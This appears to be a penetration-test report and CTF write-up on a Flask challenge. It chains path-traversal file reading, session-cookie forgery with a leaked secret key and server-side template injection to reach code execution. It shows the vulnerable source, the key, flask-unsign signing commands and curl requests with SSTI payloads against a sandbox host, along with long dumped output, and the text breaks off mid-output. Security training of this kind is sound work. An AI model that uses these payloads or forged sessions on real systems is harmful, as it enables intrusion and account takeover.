6/20/2026

Case 2026-06-001 SSTI

 



SSTI

 

內容

SSTI. 1

1      Abstract. 2

2      Scope and Purpose. 3

3      Testing Methods and Procedures. 10

4      Discovered vulnerabilities and risk assessment. 11

5      Repair suggestions and strategies. 13

6      Conclusions. 14

7      Attachments and References. 15

 

 


 

1  Abstract

The target of this penetration test – the " SSTI stitching / combination type question" – is based on the "From 0 to 1 : The CTFer Growth Path" question, and the goal is to obtain the flag.txt ( sensitive information ) .

This is a very standard yet advanced SSTI challenge . Although it initially appeared to be a simple file read ( LFI ) test when I tested ` /article {4*2}` , this is precisely the ingenious level design. In CTFs or actual penetration testing, this type of challenge is known as a " Vulnerability Chaining " challenge.

The essence of this problem is still SSTI , but the author has added several layers of defense to it:

Phase 1 (Entry Point): LFI ( Arbitrary File Read): You must first use a path traversal vulnerability to read server.py and key.py.

Phase Two (Bypassing Defenses): Flask Session Forgery: The real SSTI vulnerability lies in `/n1page` , but the backend strictly filters for strings like `.` , `_` , `{` , and ` }` . If you directly input the payload from the frontend , SSTI will absolutely not be triggered. Therefore, you must use the `SECRET_KEY` stolen in Phase One to forge a cookie locally . Leveraging the characteristics of Session deserialization (or assignment), you can bypass the filter and directly "drop" the payload into the backend variables.

The third stage (core vulnerability): SSTI (Server-Side Template Injection): The SSTI vulnerability is only truly triggered when the backend executes render_template_string(template) to render content containing your forged Session , and ultimately transforms into RCE (Remote Execution of Code) to allow you to obtain the Flag .

Therefore, this is not a simple textbook SSTI , but a classic advanced variation of the problem that "uses LFI as a springboard, uses Session forgery to bypass the blacklist, and finally triggers SSTI ".

2  Scope and Purpose

 

The purpose of this penetration test is to highlight our company's penetration testing services and present them in a complete report format so that our potential clients can align their needs and use this as a benchmark for commissioning penetration testing from our company in the future.

Note title

Explanation of SSTI server-side template injection

Knowledge Description

In penetration testing, a "white box" (where the source code is visible) is generally more accurate and faster at finding core vulnerabilities and confidential information than a "black box" (purely guessing).

Principle Thinking

Traditional SSTI vulnerabilities allow for the extraction of sensitive information through parameter injection. However, the target machine environment in this case filters sensitive keywords by default. But server.py uses pure string formatting and concatenation, allowing us to accurately identify flag.py after obtaining the source code. Furthermore, we can trigger the SSTI vulnerability using session forgery and then execute remote commands.

In server.py , the key line of code handling /n1page is this:

Python

1.     template = '''<h1>N1 Page</h1>

2.     Hello : %s, why you don't look at our...

3.     ...''' % session['n1code']

This uses Python 's old-fashioned string formatting operator %s .

  • Under normal circumstances , if your session['n1code'] stores the name Hongqi , then the concatenated template string would be: "<h1>N1 Page</h1>... Hello: Hongqi, why you don't look..."
  • However, in an attack scenario , you bypass the front-end and directly insert the malicious SSTI string `{{[].__class__...}}` into the Session . At this point , Python 's `%s` class will treat this malicious code as a normal string and append it to the template variable without any further processing .

At this point, the actual content of the variable ` template` in memory becomes:

HTML

1.     <h1>N1 Page</h1>

2.     <div class="row">

3.         <div class="col-md-6 col-md-offset-3 center">

4.             Hello : {{[].__class__.__base__.__subclasses__()[59]...}}, why you don't look at our...

5.         </div>

6.     </div>

Association Thinking

Previously, when we were testing target drones, we would test the flag.txt file . However, the target drone is located in flag.py , so we need to change our approach.

Application Thinking

Packaging the payload into a session is called a session forgery attack . When an attacker obtains the key used for encryption or signing on the backend (such as SECRET_KEY in this question ), they can repackage and sign the payload on their local machine according to the backend's algorithm (such as Flask 's itsdangerous mechanism) and generate a malicious session string. This behavior is called session forgery.

Experience association

The dramatic turning point came with obtaining information about the system installation. Penetration testing tests the ability to find clues from the smallest details. We had been stuck on the program's logic, and because the SSTI vulnerability was relatively well-hidden, we couldn't find a way in. But once we knew it was based on the n1book architecture, online resources or AI could provide solutions.

1.     docker-compose.yml

2.     version: '3.2'

3.     services:

4.     web:

5.     image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest

6.     ports:

7.     - 5000:5000

8.     Startup Method

9.     docker-compose up -d

 

Guidance behavior

For this test, I want to collect more original code and rebuild the environment locally, especially to understand the program logic, not just relying on AI to interpret it, but manually generating meaningful attack commands.

Tool Derivatives

In this test, we used the flask-unsign tool, along with a key obtained from secret.py , to successfully forge a session . This technique could be explored for future applications on websites that require login or sessions .

This technique is based on the premise that "the attacker has already obtained the hardcoded secret key of the server backend through other vulnerabilities (such as LFI , log leakage, misconfiguration) ".

We can use it for privilege escalation and identity forgery .

When a website uses Flask 's default Client-side Session (which stores encrypted or signed states in browser cookies ), any field within the Session can be arbitrarily modified once the key is leaked .

Test purpose: To verify whether the system's identity can be directly taken over under an insecure session design.

Specific context:

Turning a regular user into an administrator: If the decrypted Session contains {"is_admin": false, "role": "user"} , it can be forged into {"is_admin": true, "role": "admin"} , bypassing the login page and directly accessing the backend management interface.

Unauthorized Access ( IDOR ): Modifies {"user_id": 1002} to {"user_id": 1001} (e.g., the ID of a senior manager or administrator ), and moves laterally to another user's account without triggering password verification.

 

 

3  Testing Methods and Procedures

Test method:

I.Scanning Tools: Chrome browser platform, Kali attack machine, Gemini AI

II.Standard: WSTG-INPV-18 [1] Testing for Code Injection

The OWASP Web Security Testing Guide (WSTG) is widely recognized as the most authoritative blueprint for web security testing in the global cybersecurity community . It goes beyond theory, providing penetration testers with a standardized set of procedures, detailing the tests that should be performed on web applications, APIs , and services. The deserialization in this penetration test is part of server-side template injection.

III.   Inspection Items:

I.   Identify template injection vulnerabilities.

II. Identify template engines.

 

III.Establishing a remote code execution vulnerability exploit

Schedule:

I.Scanning and penetration time: June 13, 2026, 09 : 00-18 : 00

II.Report Writing Period: June 20, 2026 - June 27, 2026, 09:00-18 : 00

4  Discovered vulnerabilities and risk assessment

I. Vulnerability Name and Description: SSTI vulnerability, which allows for remote execution of arbitrary programs.

II. Types of vulnerabilities: Input validation vulnerabilities

III. Severity score ( CVSS scoring system): 7.0 to 10 (out of 10 )

IV. Affected Systems or Components: Affects Linux and Windows cross-platform operating systems.

V. The testing process:

1.   Understanding the essence: Initially, the fact that {4*2} was not parsed led to the conclusion that this was not SSTI but LFI (Local File Inclusion) vulnerability.

2.   Flexible bypass: It was discovered that LFI filtered the keyword " flag" , so the fatal clue was obtained by reading the system environment variable /proc/self/environ .

3.   Code audit: Accurately locate and extract the source code of server.py , analyze it to find that it contains the encryption key for Flask Session , and discover that the real SSTI is hidden in /n1page .

4.   Session forgery: Using the flask-unsign tool locally , along with the obtained key, characters such as ., _, {, }, which would normally be filtered by the frontend, are directly encapsulated into an encrypted session , successfully bypassing the check.

5.   Final blow: The RCE payload using Python 2.7 class chains successfully executed system commands to read the file.

 

VI. Potential Risks and Impacts:

CVE-2024-29686 (Winter CMS Template Injection ) : Allows a remote attacker to execute arbitrary code through a carefully crafted payload .

CVE-2022-22954 (VMware Workspace ONE) : With a CVSS score of 9.8 , it is classified as severe, caused by server-side template injection, leading to remote code execution (RCE)

5  Repair suggestions and strategies

1. Key Security Management : Never hardcode the SECRET_KEY in your code. Use an environment variable or a dedicated key management system (such as AWS Secrets Manager or HashiCorp Vault ) to load it dynamically at runtime.

2. Use Server-side Session : In sensitive systems, it is recommended to store detailed session information in a backend database (such as Redis or MySQL ), and the browser's cookie should only store a random session ID ( UUID ). In this way, even if the key is guessed, attackers cannot forge a session ID that does not exist in the database locally .

3. Zero Trust Principle for Variables : Regardless of whether the data comes from request.form or session[] , any variable that will be rendered (such as render_template_string ) or entered into the database ( SQL ) is considered "untrusted input" and must be handled using a secure parameterized method.

 

6  Conclusions

To summarize the process and results of this penetration test, the two most important findings and recommendations are: First, in the field of penetration testing, understanding the target system is crucial, especially in the era of SaaS . There are abundant resources on the cloud and GitHub that can help us understand the target system. Once the target system is exposed, AI has the opportunity to find vulnerabilities.

Secondly, AI- assisted attacks often reach dead ends, such as sticking to a certain solution. As penetration testing experts, we must find information and new ideas, especially with SSTI , the target in this case , which has various different frameworks, and the framework can affect the formation of vulnerabilities.

What kinds of websites / systems does SSTI mostly use ?

This penetration test is essentially an SSTI , just with a few additional layers of defense added to the website:

1.      First stage (entry point): LFI ( Arbitrary File Reading) You must first use a path traversal vulnerability to read server.py and key.py.

2.      Second Stage (Bypassing Defenses): The Flask Session forges a genuine SSTI vulnerability in `/n1page` , but the backend performs strict string replacement filtering on ` .` , ` _` , ` {` , and ` }` . If the payload is directly input from the frontend , SSTI will absolutely not be triggered. Therefore, you must use the `SECRET_KEY` stolen in the first stage to forge a cookie locally , and leverage the characteristics of Session deserialization (or assignment) to bypass the filter and directly "drop" the payload into the backend variables .

 

3.      Third stage (core vulnerability): SSTI (Server-Side Template Injection). The SSTI vulnerability is only truly triggered when the backend executes render_template_string(template) to render content containing your forged Session . It eventually transforms into RCE (Remote Execution of Code) and allows you to obtain the Flag .

 

7  Attachments and References

Step1. The key service.py source code is attached.

1.     #!/usr/bin/python

2.     # -*- coding: utf-8 -*-

3.      

4.     import os

5.     from flask import (

6.         Flask,

7.         render_template,

8.         request,

9.         url_for,

10.      redirect,

11.      session,

12.      render_template_string

13.  )

14.  from flask_session import Session

15.   

16.  app = Flask(__name__)

17.   

18.  # 載入同目錄下的 flag.py key.py

19.  execfile('flag.py')

20.  execfile('key.py')

21.   

22.  FLAG = flag

23.  app.secret_key = key

24.   

25.  # 漏洞點 2:隱藏的 SSTI 路由(帶有嚴格的關鍵字過濾)

26.  @app.route("/n1page", methods=["GET", "POST"])

27.  def n1page():

28.      if request.method != "POST":

29.          return redirect(url_for("index"))

30.      

31.      n1code = request.form.get("n1code") or None

32.      

33.      # 前端關鍵字過濾:將點、底線、大括號全部吃掉

34.      if n1code is not None:

35.          n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")

36.      

37.      # 如果 Session 裡沒有 n1code,才把過濾後的 n1code 放進去

38.      if "n1code" not in session or session['n1code'] is None:

39.          session['n1code'] = n1code

40.          

41.      template = None

42.      

43.      # 真正的 SSTI 觸發點:直接將 Session 內容拼接進模板字串中渲染

44.      if session['n1code'] is not None:

45.          template = '''<h1>N1 Page</h1>

46.  <div class="row">

47.      <div class="col-md-6 col-md-offset-3 center">

48.          Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>?

49.      </div>

50.  </div>

51.  ''' % session['n1code']

52.          

53.          session['n1code'] = None # 渲染後清空

54.          

55.      return render_template_string(template)

56.   

57.  # 首頁路由

58.  @app.route("/", methods=["GET"])

59.  def index():

60.      return render_template("main.html")

61.   

62.  # 漏洞點 1:入口處的 LFI(本地檔案包含)

63.  @app.route('/article', methods=['GET'])

64.  def article():

65.      error = 0

66.      if 'name' in request.args:

67.          page = request.args.get('name')

68.      else:

69.          page = 'article'

70.          

71.      # 關鍵字過濾:只要匹配到 'flag' 就強制跳轉到錯誤提示檔

72.      if page.find('flag') >= 0:

73.          page = 'notallowed.txt'

74.          

75.      try:

76.          # 檔案讀取點

77.          template = open('/home/nu11111111l/articles/{}'.format(page)).read()

78.      except Exception as e:

79.          template = e

80.          

81.      return render_template('article.html', template=template)

82.   

83.  if __name__ == "__main__":

84.      app.run(host='0.0.0.0', port=80, debug=False)

Step2. After installing flask-unsign and obtaining the key [2] , trigger the SSTI vulnerability to obtain the flag.

Since we've already gained access to arbitrary file reading, we can most likely use LFI to read flag.py directly . Although reading the flag directly will be blocked, the filename being flag.py and containing the flag will still be blocked. However, because the key allows us to trigger SSTI on /n1page , once we have the key , we can execute arbitrary commands through SSTI to read the flag .

Please help me perform the first step: read ../../../../home/sssssserver/key.py and see what the key is.

Article Content:

#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'

┌──(kalikali)-[~]

└─$ pip3 install flask-unsign

Defaulting to user installation because normal site-packages is not writeable

Collecting flask-unsign

  Downloading flask_unsign-1.2.1-py3-none-any.whl.metadata (6.9 kB)

Requirement already satisfied: flask in /usr/lib/python3/dist-packages (from flask-unsign) (3.0.3)

Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from flask-unsign) (2.31.0)

Requirement already satisfied: itsdangerous in /usr/lib/python3/dist-packages (from flask-unsign) (2.1.2)

Requirement already satisfied: markupsafe in /usr/lib/python3/dist-packages (from flask-unsign) (2.1.5)

Requirement already satisfied: werkzeug in /usr/lib/python3/dist-packages (from flask-unsign) (3.0.3)

Requirement already satisfied: Jinja2>=3.1.2 in /usr/lib/python3/dist-packages (from flask->flask-unsign) (3.1.3)

Requirement already satisfied: click>=8.1.3 in /usr/lib/python3/dist-packages (from flask->flask-unsign) (8.1.7)

Requirement already satisfied: blinker>=1.6.2 in /usr/lib/python3/dist-packages (from flask->flask-unsign) (1.8.2)

Downloading flask_unsign-1.2.1-py3-none-any.whl (14 kB)

Installing collected packages: flask-unsign

  WARNING: The script flask-unsign is installed in '/home/kali/.local/bin' which is not on PATH.

  Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.

Successfully installed flask-unsign-1.2.1

                                                                                                                                                                                                        

┌──(kalikali)-[~]

└─$ flask-unsign --decode --cookie "eyJuMWNvZGUiOm51bGx9.ai0KCA.MekwClzTI5uopvFBItE8PIIwX6w"

flask-unsign: command not found

                                                                                                                                                                                                        

┌──(kalikali)-[~]

└─$ /home/kali/.local/bin/flask-unsign --decode --cookie "eyJuMWNvZGUiOm51bGx9.ai0KCA.MekwClzTI5uopvFBItE8PIIwX6w"

{'n1code': None}

                                                                                                                                                                                                        

┌──(kalikali)-[~]

└─$ /home/kali/.local/bin/flask-unsign --sign --cookie "{'n1code': '{{config.items()}}'}" --secret 'Drmhze6EPcv0fN_81Bj-nA'

eyJuMWNvZGUiOiJ7e2NvbmZpZy5pdGVtcygpfX0ifQ.ai0M3w.kSKfIa2noX86Fr5_yw8sMzpE3NQ

                                                                                                                                                                                                        

┌──(kalikali)-[~]

└─$ curl -X POST http://challenge-76e5da0fc378806b.sandbox.ctfhub.com:10800/n1page \

  -d "n1code=test" \

  -H "Cookie: session=eyJuMWNvZGUiOiJ7e2NvbmZpZy5pdGVtcygpfX0ifQ.ai0M3w.kSKfIa2noX86Fr5_yw8sMzpE3NQ"

<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : [(&#39;JSON_AS_ASCII&#39;, True), (&#39;USE_X_SENDFILE&#39;, False), (&#39;SESSION_COOKIE_SECURE&#39;, False), (&#39;SESSION_COOKIE_PATH&#39;, None), (&#39;SESSION_COOKIE_DOMAIN&#39;, False), (&#39;SESSION_COOKIE_NAME&#39;, &#39;session&#39;), (&#39;MAX_COOKIE_SIZE&#39;, 4093), (&#39;SESSION_COOKIE_SAMESITE&#39;, None), (&#39;PROPAGATE_EXCEPTIONS&#39;, None), (&#39;ENV&#39;, &#39;production&#39;), (&#39;DEBUG&#39;, False), (&#39;SECRET_KEY&#39;, &#39;Drmhze6EPcv0fN_81Bj-nA&#39;), (&#39;EXPLAIN_TEMPLATE_LOADING&#39;, False), (&#39;MAX_CONTENT_LENGTH&#39;, None), (&#39;APPLICATION_ROOT&#39;, &#39;/&#39;), (&#39;SERVER_NAME&#39;, None), (&#39;PREFERRED_URL_SCHEME&#39;, &#39;http&#39;), (&#39;JSONIFY_PRETTYPRINT_REGULAR&#39;, False), (&#39;TESTING&#39;, False), (&#39;PERMANENT_SESSION_LIFETIME&#39;, datetime.timedelta(31)), (&#39;TEMPLATES_AUTO_RELOAD&#39;, None), (&#39;TRAP_BAD_REQUEST_ERRORS&#39;, None), (&#39;JSON_SORT_KEYS&#39;, True), (&#39;JSONIFY_MIMETYPE&#39;, &#39;application/json&#39;), (&#39;SESSION_COOKIE_HTTPONLY&#39;, True), (&#39;SEND_FILE_MAX_AGE_DEFAULT&#39;, datetime.timedelta(0, 43200)), (&#39;PRESERVE_CONTEXT_ON_EXCEPTION&#39;, None), (&#39;SESSION_REFRESH_EACH_REQUEST&#39;, True), (&#39;TRAP_HTTP_EXCEPTIONS&#39;, False)], why you don't look at our <a href='/article?name=article'>article</a>? </div> </div>                                                                                                                                                                                                          

┌──(kalikali)-[~]

└─$ /home/kali/.local/bin/flask-unsign --sign --cookie "{'n1code': '{{lipsum.__globals__}}'}" --secret 'Drmhze6EPcv0fN_81Bj-nA'

eyJuMWNvZGUiOiJ7e2xpcHN1bS5fX2dsb2JhbHNfX319In0.ai0NiA.g5ORV9M5_2gR6nfDYboFqWi0w6k

                                                                                                                                                                                                        

┌──(kalikali)-[~]

└─$ curl -X POST http://challenge-76e5da0fc378806b.sandbox.ctfhub.com:10800/n1page \

  -d "n1code=test" \

  -H "Cookie: session=eyJuMWNvZGUiOiJ7e2xpcHN1bS5fX2dsb2JhbHNfX319In0.ai0NiA.g5ORV9M5_2gR6nfDYboFqWi0w6k"

<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : {&#39;_word_split_re&#39;: &lt;_sre.SRE_Pattern object at 0x7fa5ea8dc240&gt;, &#39;_entity_re&#39;: &lt;_sre.SRE_Pattern object at 0x7fa5ea8dec30&gt;, &#39;randrange&#39;: &lt;bound method Random.randrange of &lt;random.Random object at 0x55743b761640&gt;&gt;, &#39;Namespace&#39;: &lt;class &#39;jinja2.utils.Namespace&#39;&gt;, &#39;evalcontextfunction&#39;: &lt;function evalcontextfunction at 0x7fa5ea7d7ad0&gt;, &#39;escape&#39;: &lt;function escape at 0x7fa5eadc3450&gt;, &#39;consume&#39;: &lt;function consume at 0x7fa5ea7db1d0&gt;, &#39;htmlsafe_json_dumps&#39;: &lt;function htmlsafe_json_dumps at 0x7fa5ea7f50d0&gt;, &#39;abc&#39;: &lt;module &#39;collections&#39; from &#39;/usr/local/lib/python2.7/collections.pyc&#39;&gt;, &#39;_digits&#39;: &#39;0123456789&#39;, &#39;urlize&#39;: &lt;function urlize at 0x7fa5ea7ee250&gt;, &#39;_simple_email_re&#39;: &lt;_sre.SRE_Pattern object at 0x7fa5eadb7cb0&gt;, &#39;url_quote&#39;: &lt;function quote at 0x7fa5ea8f0d50&gt;, &#39;_punctuation_re&#39;: &lt;_sre.SRE_Pattern object at 0x7fa5ea7f1200&gt;, &#39;__package__&#39;: &#39;jinja2&#39;, &#39;re&#39;: &lt;module &#39;re&#39; from &#39;/usr/local/lib/python2.7/re.pyc&#39;&gt;, &#39;json&#39;: &lt;module &#39;json&#39; from &#39;/usr/local/lib/python2.7/json/__init__.pyc&#39;&gt;, &#39;LRUCache&#39;: &lt;class &#39;jinja2.utils.LRUCache&#39;&gt;, &#39;Markup&#39;: &lt;class &#39;markupsafe.Markup&#39;&gt;, &#39;deque&#39;: &lt;type &#39;collections.deque&#39;&gt;, &#39;open_if_exists&#39;: &lt;function open_if_exists at 0x7fa5ea7e3a50&gt;, &#39;environmentfunction&#39;: &lt;function environmentfunction at 0x7fa5ea7d7dd0&gt;, &#39;warnings&#39;: &lt;module &#39;warnings&#39; from &#39;/usr/local/lib/python2.7/warnings.pyc&#39;&gt;, &#39;__builtins__&#39;: {&#39;bytearray&#39;: &lt;type &#39;bytearray&#39;&gt;, &#39;IndexError&#39;: &lt;type &#39;exceptions.IndexError&#39;&gt;, &#39;all&#39;: &lt;built-in function all&gt;, &#39;help&#39;: Type help() for interactive help, or help(object) for help about object., &#39;vars&#39;: &lt;built-in function vars&gt;, &#39;SyntaxError&#39;: &lt;type &#39;exceptions.SyntaxError&#39;&gt;, &#39;unicode&#39;: &lt;type &#39;unicode&#39;&gt;, &#39;UnicodeDecodeError&#39;: &lt;type &#39;exceptions.UnicodeDecodeError&#39;&gt;, &#39;memoryview&#39;: &lt;type &#39;memoryview&#39;&gt;, &#39;isinstance&#39;: &lt;built-in function isinstance&gt;, &#39;copyright&#39;: Copyright (c) 2001-2019 Python Software Foundation.

All Rights Reserved.

 

Copyright (c) 2000 BeOpen.com.

All Rights Reserved.

 

Copyright (c) 1995-2001 Corporation for National Research Initiatives.

All Rights Reserved.

 

Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.

All Rights Reserved., &#39;NameError&#39;: &lt;type &#39;exceptions.NameError&#39;&gt;, &#39;BytesWarning&#39;: &lt;type &#39;exceptions.BytesWarning&#39;&gt;, &#39;dict&#39;: &lt;type &#39;dict&#39;&gt;, &#39;input&#39;: &lt;built-in function input&gt;, &#39;oct&#39;: &lt;built-in function oct&gt;, &#39;bin&#39;: &lt;built-in function bin&gt;, &#39;SystemExit&#39;: &lt;type &#39;exceptions.SystemExit&#39;&gt;, &#39;StandardError&#39;: &lt;type &#39;exceptions.StandardError&#39;&gt;, &#39;format&#39;: &lt;built-in function format&gt;, &#39;repr&#39;: &lt;built-in function repr&gt;, &#39;sorted&#39;: &lt;built-in function sorted&gt;, &#39;False&#39;: False, &#39;RuntimeWarning&#39;: &lt;type &#39;exceptions.RuntimeWarning&#39;&gt;, &#39;list&#39;: &lt;type &#39;list&#39;&gt;, &#39;iter&#39;: &lt;built-in function iter&gt;, &#39;reload&#39;: &lt;built-in function reload&gt;, &#39;Warning&#39;: &lt;type &#39;exceptions.Warning&#39;&gt;, &#39;__package__&#39;: None, &#39;round&#39;: &lt;built-in function round&gt;, &#39;dir&#39;: &lt;built-in function dir&gt;, &#39;cmp&#39;: &lt;built-in function cmp&gt;, &#39;set&#39;: &lt;type &#39;set&#39;&gt;, &#39;bytes&#39;: &lt;type &#39;str&#39;&gt;, &#39;reduce&#39;: &lt;built-in function reduce&gt;, &#39;intern&#39;: &lt;built-in function intern&gt;, &#39;issubclass&#39;: &lt;built-in function issubclass&gt;, &#39;Ellipsis&#39;: Ellipsis, &#39;EOFError&#39;: &lt;type &#39;exceptions.EOFError&#39;&gt;, &#39;locals&#39;: &lt;built-in function locals&gt;, &#39;BufferError&#39;: &lt;type &#39;exceptions.BufferError&#39;&gt;, &#39;slice&#39;: &lt;type &#39;slice&#39;&gt;, &#39;FloatingPointError&#39;: &lt;type &#39;exceptions.FloatingPointError&#39;&gt;, &#39;sum&#39;: &lt;built-in function sum&gt;, &#39;getattr&#39;: &lt;built-in function getattr&gt;, &#39;abs&#39;: &lt;built-in function abs&gt;, &#39;exit&#39;: Use exit() or Ctrl-D (i.e. EOF) to exit, &#39;print&#39;: &lt;built-in function print&gt;, &#39;True&#39;: True, &#39;FutureWarning&#39;: &lt;type &#39;exceptions.FutureWarning&#39;&gt;, &#39;ImportWarning&#39;: &lt;type &#39;exceptions.ImportWarning&#39;&gt;, &#39;None&#39;: None, &#39;hash&#39;: &lt;built-in function hash&gt;, &#39;ReferenceError&#39;: &lt;type &#39;exceptions.ReferenceError&#39;&gt;, &#39;len&#39;: &lt;built-in function len&gt;, &#39;credits&#39;:     Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands

    for supporting Python development.  See www.python.org for more information., &#39;frozenset&#39;: &lt;type &#39;frozenset&#39;&gt;, &#39;__name__&#39;: &#39;__builtin__&#39;, &#39;ord&#39;: &lt;built-in function ord&gt;, &#39;super&#39;: &lt;type &#39;super&#39;&gt;, &#39;TypeError&#39;: &lt;type &#39;exceptions.TypeError&#39;&gt;, &#39;license&#39;: Type license() to see the full license text, &#39;KeyboardInterrupt&#39;: &lt;type &#39;exceptions.KeyboardInterrupt&#39;&gt;, &#39;UserWarning&#39;: &lt;type &#39;exceptions.UserWarning&#39;&gt;, &#39;filter&#39;: &lt;built-in function filter&gt;, &#39;range&#39;: &lt;built-in function range&gt;, &#39;staticmethod&#39;: &lt;type &#39;staticmethod&#39;&gt;, &#39;SystemError&#39;: &lt;type &#39;exceptions.SystemError&#39;&gt;, &#39;BaseException&#39;: &lt;type &#39;exceptions.BaseException&#39;&gt;, &#39;pow&#39;: &lt;built-in function pow&gt;, &#39;RuntimeError&#39;: &lt;type &#39;exceptions.RuntimeError&#39;&gt;, &#39;float&#39;: &lt;type &#39;float&#39;&gt;, &#39;MemoryError&#39;: &lt;type &#39;exceptions.MemoryError&#39;&gt;, &#39;StopIteration&#39;: &lt;type &#39;exceptions.StopIteration&#39;&gt;, &#39;globals&#39;: &lt;built-in function globals&gt;, &#39;divmod&#39;: &lt;built-in function divmod&gt;, &#39;enumerate&#39;: &lt;type &#39;enumerate&#39;&gt;, &#39;apply&#39;: &lt;built-in function apply&gt;, &#39;LookupError&#39;: &lt;type &#39;exceptions.LookupError&#39;&gt;, &#39;open&#39;: &lt;built-in function open&gt;, &#39;quit&#39;: Use quit() or Ctrl-D (i.e. EOF) to exit, &#39;basestring&#39;: &lt;type &#39;basestring&#39;&gt;, &#39;UnicodeError&#39;: &lt;type &#39;exceptions.UnicodeError&#39;&gt;, &#39;zip&#39;: &lt;built-in function zip&gt;, &#39;hex&#39;: &lt;built-in function hex&gt;, &#39;long&#39;: &lt;type &#39;long&#39;&gt;, &#39;next&#39;: &lt;built-in function next&gt;, &#39;ImportError&#39;: &lt;type &#39;exceptions.ImportError&#39;&gt;, &#39;chr&#39;: &lt;built-in function chr&gt;, &#39;xrange&#39;: &lt;type &#39;xrange&#39;&gt;, &#39;type&#39;: &lt;type &#39;type&#39;&gt;, &#39;__doc__&#39;: &#34;Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil&#39; object; Ellipsis represents `...&#39; in slices.&#34;, &#39;Exception&#39;: &lt;type &#39;exceptions.Exception&#39;&gt;, &#39;tuple&#39;: &lt;type &#39;tuple&#39;&gt;, &#39;UnicodeTranslateError&#39;: &lt;type &#39;exceptions.UnicodeTranslateError&#39;&gt;, &#39;reversed&#39;: &lt;type &#39;reversed&#39;&gt;, &#39;UnicodeEncodeError&#39;: &lt;type &#39;exceptions.UnicodeEncodeError&#39;&gt;, &#39;IOError&#39;: &lt;type &#39;exceptions.IOError&#39;&gt;, &#39;hasattr&#39;: &lt;built-in function hasattr&gt;, &#39;delattr&#39;: &lt;built-in function delattr&gt;, &#39;setattr&#39;: &lt;built-in function setattr&gt;, &#39;raw_input&#39;: &lt;built-in function raw_input&gt;, &#39;SyntaxWarning&#39;: &lt;type &#39;exceptions.SyntaxWarning&#39;&gt;, &#39;compile&#39;: &lt;built-in function compile&gt;, &#39;ArithmeticError&#39;: &lt;type &#39;exceptions.ArithmeticError&#39;&gt;, &#39;str&#39;: &lt;type &#39;str&#39;&gt;, &#39;property&#39;: &lt;type &#39;property&#39;&gt;, &#39;GeneratorExit&#39;: &lt;type &#39;exceptions.GeneratorExit&#39;&gt;, &#39;int&#39;: &lt;type &#39;int&#39;&gt;, &#39;__import__&#39;: &lt;built-in function __import__&gt;, &#39;KeyError&#39;: &lt;type &#39;exceptions.KeyError&#39;&gt;, &#39;coerce&#39;: &lt;built-in function coerce&gt;, &#39;PendingDeprecationWarning&#39;: &lt;type &#39;exceptions.PendingDeprecationWarning&#39;&gt;, &#39;file&#39;: &lt;type &#39;file&#39;&gt;, &#39;EnvironmentError&#39;: &lt;type &#39;exceptions.EnvironmentError&#39;&gt;, &#39;unichr&#39;: &lt;built-in function unichr&gt;, &#39;id&#39;: &lt;built-in function id&gt;, &#39;OSError&#39;: &lt;type &#39;exceptions.OSError&#39;&gt;, &#39;DeprecationWarning&#39;: &lt;type &#39;exceptions.DeprecationWarning&#39;&gt;, &#39;min&#39;: &lt;built-in function min&gt;, &#39;UnicodeWarning&#39;: &lt;type &#39;exceptions.UnicodeWarning&#39;&gt;, &#39;execfile&#39;: &lt;built-in function execfile&gt;, &#39;any&#39;: &lt;built-in function any&gt;, &#39;complex&#39;: &lt;type &#39;complex&#39;&gt;, &#39;bool&#39;: &lt;type &#39;bool&#39;&gt;, &#39;ValueError&#39;: &lt;type &#39;exceptions.ValueError&#39;&gt;, &#39;NotImplemented&#39;: NotImplemented, &#39;map&#39;: &lt;built-in function map&gt;, &#39;buffer&#39;: &lt;type &#39;buffer&#39;&gt;, &#39;max&#39;: &lt;built-in function max&gt;, &#39;object&#39;: &lt;type &#39;object&#39;&gt;, &#39;TabError&#39;: &lt;type &#39;exceptions.TabError&#39;&gt;, &#39;callable&#39;: &lt;built-in function callable&gt;, &#39;ZeroDivisionError&#39;: &lt;type &#39;exceptions.ZeroDivisionError&#39;&gt;, &#39;eval&#39;: &lt;built-in function eval&gt;, &#39;__debug__&#39;: True, &#39;IndentationError&#39;: &lt;type &#39;exceptions.IndentationError&#39;&gt;, &#39;AssertionError&#39;: &lt;type &#39;exceptions.AssertionError&#39;&gt;, &#39;classmethod&#39;: &lt;type &#39;classmethod&#39;&gt;, &#39;UnboundLocalError&#39;: &lt;type &#39;exceptions.UnboundLocalError&#39;&gt;, &#39;NotImplementedError&#39;: &lt;type &#39;exceptions.NotImplementedError&#39;&gt;, &#39;AttributeError&#39;: &lt;type &#39;exceptions.AttributeError&#39;&gt;, &#39;OverflowError&#39;: &lt;type &#39;exceptions.OverflowError&#39;&gt;}, &#39;text_type&#39;: &lt;type &#39;unicode&#39;&gt;, &#39;__file__&#39;: &#39;/usr/local/lib/python2.7/site-packages/jinja2/utils.pyc&#39;, &#39;have_async_gen&#39;: False, &#39;_letters&#39;: &#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&#39;, &#39;choice&#39;: &lt;bound method Random.choice of &lt;random.Random object at 0x55743b761640&gt;&gt;, &#39;unicode_urlencode&#39;: &lt;function unicode_urlencode at 0x7fa5ea7ee350&gt;, &#39;__name__&#39;: &#39;jinja2.utils&#39;, &#39;Cycler&#39;: &lt;class &#39;jinja2.utils.Cycler&#39;&gt;, &#39;Joiner&#39;: &lt;class &#39;jinja2.utils.Joiner&#39;&gt;, &#39;soft_unicode&#39;: &lt;function soft_unicode at 0x7fa5ea7f5750&gt;, &#39;concat&#39;: &lt;built-in method join of unicode object at 0x7fa5eaf13300&gt;, &#39;internalcode&#39;: &lt;function internalcode at 0x7fa5ea7db0d0&gt;, &#39;internal_code&#39;: set([&lt;code object load at 0x7fa5ea804430, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/loaders.py&#34;, line 101&gt;, &lt;code object select_template at 0x7fa5ea7fe2b0, file 